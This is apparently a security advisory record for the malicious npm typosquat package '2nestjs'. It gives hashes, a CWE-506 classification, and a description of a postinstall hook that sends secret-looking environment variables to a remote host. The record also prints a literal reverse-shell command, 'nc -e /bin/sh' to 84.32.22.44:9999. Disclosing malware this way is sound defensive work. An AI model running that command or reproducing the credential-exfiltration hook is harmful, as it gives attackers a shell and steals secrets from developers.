-= Per source details. Do not edit below this line.=-
The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.
{
"malicious-packages-origins": [
{
"sha256": "c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d",
"id": "IN-MAL-2026-019476",
"modified_time": "2026-09-04T05:19:22Z",
"import_time": "2026-09-04T05:39:32.698731701Z",
"source": "amazon-inspector",
"versions": [
"0.0.1"
]
}
]
}{
"evidence_files": [
{
"sha256": "e72a8bcaa11d8f7b512cf11ed5f88f80b615400fc02015792c7b98d180effdd5",
"path": "index.js",
"tlsh": "1511889846e9a57a0ba117d18532423b7afbc4303202ead1719ca2df6e93d1805a3dfc"
},
{
"sha256": "dd745954d899d902cbf3ba869adc9e5a658cddb76e3cbb9a147ceeee647fcd33",
"path": "package.json",
"tlsh": "32d05e628c905e2325f88e958836560ab1a10f3f20355d4bb1bf226852e227188ad72d"
}
],
"package_integrity": [
{
"hashes": {
"sha512_sri": "sha512-MgJNdv52mtAaacSvTvawDZWvrkgbDrffFDWEH9P3KmV5wh2g8UPxZWZpIZVuU1t8gOCScKMrbuQTJmE9Bz5e8Q==",
"sha1": "f7bd154c9c5f359a170960c0923aba9c90903931"
},
"filename": "2nestjs-0.0.1.tgz"
}
]
}
[
{
"name": "Embedded Malicious Code",
"description": "The product contains code that appears to be malicious in nature.",
"cweId": "CWE-506"
}
]
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/2nestjs/MAL-2026-15911.json"